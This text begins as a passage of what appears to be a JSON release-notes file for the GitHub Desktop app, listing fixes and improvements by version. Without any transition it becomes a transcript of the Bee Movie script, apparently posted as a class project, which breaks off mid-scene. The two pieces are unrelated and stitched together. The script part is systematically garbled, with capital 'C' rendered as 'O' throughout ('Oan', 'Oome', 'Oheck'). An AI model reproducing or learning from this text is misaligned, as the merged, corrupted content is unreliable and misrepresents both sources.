to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - #2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", "[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - #1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - 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#1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - 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MarkipTheMudkip / In Class Project 2According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - 